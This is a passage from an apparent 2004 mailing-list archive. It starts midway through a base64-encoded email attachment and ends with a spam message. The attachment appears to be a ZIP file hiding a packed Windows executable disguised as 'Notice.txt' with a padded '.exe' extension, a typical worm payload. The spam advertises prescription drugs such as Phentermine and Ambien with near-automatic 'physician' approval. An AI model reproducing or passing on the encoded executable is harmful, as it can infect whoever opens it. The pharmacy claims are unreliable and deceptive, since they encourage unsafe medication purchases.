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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAg AACADgAAAJAAAIAAAAAAAAAAAAAAAAAAAAIAAQAAAEAAAIACAAAAaAAAgAAAAAAAAAAAAAAA AAAAAQAHBAAAWAAAANiwHAAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABwQAAIAAAAAA shwA6AIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAANAAAICoAACAAAAAAAAAAAAAAAAAAAAB AAcEAADAAAAA6LQcACIAAAAAAAAAAAAAAAEAMAAAAAAAKAAAABAAAAAgAAAAAQAEAAAAAADA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDA AAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAIiIiAAAAAAIh3d3eIAAAHj//4iHcAAA ePeP//94AAB4/////3gAAHj3d3j/eAAAeP////94AAB493d4/3gAAHj/////eAAAePd3j/94 AAB4/////3gAAHj/////eAAAeH9/f394AACHc4eHh4AAAAezO3t3gAAAAAAAAIAAAPA/AADg BwAAwAcAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA4AcA AP/fAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAA gAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA//// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAeI gACAAAAAAAAAAAAAAAAH//d4iIiIAAAAAAAAAAAAd///////d3iIgAAAAAAAAHf4iIj///// /4cAAAAAAAB///////////+HAAAAAAAAf/iIiP//////hwAAAAAAAH///////////4cAAAAA AAB///////////+HAAAAAAAAf///////////hwAAAAAAAH/3f////////4cAAAAAAAB/94iI iIh3//+HAAAAAAAAf//////3d4//hwAAAAAAAH/4iIiId////4cAAAAAAAB/////93eIh/+H AAAAAAAAf/iIiHd/////hwAAAAAAAH////93eIiP/4cAAAAAAAB///////////+HAAAAAAAA f///////////hwAAAAAAAH/3d////////4cAAAAAAAB/93iIf/////+HAAAAAAAAf/f///// ////hwAAAAAAAH/4iIj//////4cAAAAAAAB///////////+HAAAAAAAAf4f3f/f/////hwAA AAAAAHeDeDf4j4P4j4cAAAAAAAB4g4iIiDdzd4iAAAAAAAAAA7uLuIg4c4iIAAAAAAAAAABw B3B7Bzd7MAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////f////h3///4AD//8AAB//AAA P/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8 AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAH/+AAD//2SB//////8AAAEAAgAQ EBAAAQAEACgBAAABACAgEAABAAQA6AIAAAIAU7UcAGO1HAB1tRwAhbUcAAAAAAAKtRwAAAAA AP////9GtRwACrUcAAAAAAAAAAAAAAAAAAAAAAAAAAAAa2VybmVsMzIuZGxsAAAATG9hZExp YnJhcnlBAAAAAEdldFByb2NBZGRyZXNzAAAAAFZpcnR1YWxBbGxvYwAAAABWaXJ0dWFsRnJl ZQAAav2/FB2ooY1eD7e3GXOxSS2kJvYAdCKD6AR0F7AEDXQIDEh0AzBouAShnAjhSAFgHIt0 JHo6fDwoPFwfLPxAGzPJhdt0ARCygAPfpLHQ6GbBRXP2O/vQfFMHVVcz20Mw7YvDjfgd4dnr 4N/oUEkd8f5ccD0/A8e/76g6DwPiX11bK8G4CYvFMeg0Iesc8OAIPqxAMygZi7E9AesPDoPZ /wWBB0AIVov3K/AO86ReQSDrlQLSdQcFihZGEnXDH4LG6O7/AngT7ufBD3LywytTn4kHCBxh whAFSDK2QKMEXz6FPAEKOLUcMw4JAYcIbgiGGLgPGHmkIGgECDSblEmCkANRcSApFFACHXCA +WDFCFgQNxCKBGZ2D4UQiPNQKDwRBgGIAFNRUldWVeigHl2BGO0wEUCNtWAlDYtG/IMowATb 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 ------=_NextPart_000_0013_00007345.00006BC6-- From mwpyjyxwctv@digiro.net Fri Apr 23 02:02:21 2004 Received: from atlnga1-ar3-4-64-159-082.atlnga1.dsl-verizon.net (atlnga1-ar3-4-64-159-082.atlnga1.dsl-verizon.net [4.64.159.82]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3N62Ks28838 for ; Fri, 23 Apr 2004 02:02:20 -0400 Received: from 36.26.154.182 by 4.64.159.82; Fri, 23 Apr 2004 09:59:19 +0300 Message-ID: From: "Phoebe Lockwood" Reply-To: "Phoebe Lockwood" To: xemacs-beta-archive@xemacs.org Subject: Re: Best Online Drugstore Delivers ANY Meds Overnight. Discreetly. Securely. Date: Fri, 23 Apr 2004 00:53:19 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--23377986650696196747" X-Webmail-Time: Fri, 23 Apr 2004 10:01:19 +0300 ----23377986650696196747 Content-Type: text/html; Content-Transfer-Encoding: 7Bit

Hello,

Cialis, Phentermine, Viagra, Soma, Ambien, Levitra, Floricet, Imitrex, Paxil, Prozac, Zoloft . . . and many many more prescription drugs!

We are your private source for FDA Approved prescription medications. Once we receive your orders and one of our 24x7 onboard US Physicians will approve of your order (99.9% granted).

Orders approved by 2 pm EST will receive their medication next business day via FedEX! (where available)

Start Saving. Order your Medications Here

